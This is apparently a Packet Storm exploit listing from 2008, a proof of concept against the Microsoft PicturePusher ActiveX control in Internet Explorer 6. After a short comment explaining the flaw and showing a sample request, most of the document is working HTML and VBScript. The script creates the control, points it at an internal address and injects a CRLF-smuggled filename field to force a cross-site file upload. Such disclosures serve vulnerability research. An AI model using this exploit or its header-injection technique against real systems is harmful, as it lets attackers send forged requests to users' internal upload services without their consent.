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mspicturepusher-activex.txt

🗓️ 09 Oct 2008 00:00:00Reported by Nine:Situations:GroupType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Microsoft PicturePusher ActiveX remote Cross Site File Upload attack POC (IE6) by Nine:Situations:Group::pyrokinesis, discovered in March 2008, tested against Microsoft Digital Image 2006 Starter Editio

Code
`<!--  
Microsoft PicturePusher ActiveX (PipPPush.DLL 7.00.0709) remote Cross Site File   
Upload attack POC (IE6)  
by Nine:Situations:Group::pyrokinesis  
  
bug discovered by rgod during early March 2008  
  
tested software: Microsoft Digital Image 2006 Starter Edition  
works fine against IE6, with some warnings with IE7  
  
dll settings:   
RegKey Safe for Script: False  
RegKey Safe for Init: False  
Implements IObjectSafety: True  
IDisp Safe: Safe for untrusted: caller,data   
  
This control allows to build highly customized POST requests against private   
upload facilities, using the browser as a proxy to bounce them and by injecting   
a filename sub-field through ex. the AddString() method  
  
The magic packet :  
  
POST /?aaaa=1 HTTP/1.1  
Content-Type: multipart/form-data; boundary=---------------------------  
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0) [MSN Communities Active-X Upload Control]  
Host: 127.0.0.1  
Content-Length: 181  
Cache-Control: no-cache  
  
-----------------------------  
Content-Disposition: form-data; name="aaaa"; filename="suntzu.test"   
Content-Type: text/plain; AAAA: ""  
  
xxxxxxxx  
-------------------------------  
  
-->  
<HTML>  
<OBJECT classid='clsid:507813C3-0B26-47AD-A8C0-D483C7A21FA7' id='PicturePusherControl' />  
</OBJECT>  
<script language='vbscript'>  
'PicturePusherControl.PostURL = "http://127.0.0.1/?aaaa=1"  
PicturePusherControl.PostURL = "http://192.168.1.1/?aaaa=1"  
PicturePusherControl.AddSeperator  
CRLF = unescape("%0d%0a")  
FormElementName="aaaa""; filename=""suntzu.test"" " + CRLF + "Content-Type: text/plain; AAAA: """  
Value="xxxxxxxx"  
'for some reason cannot do this with AddFile() method, however...  
PicturePusherControl.AddString FormElementName ,Value   
PicturePusherControl.Post  
</script>  
  
`

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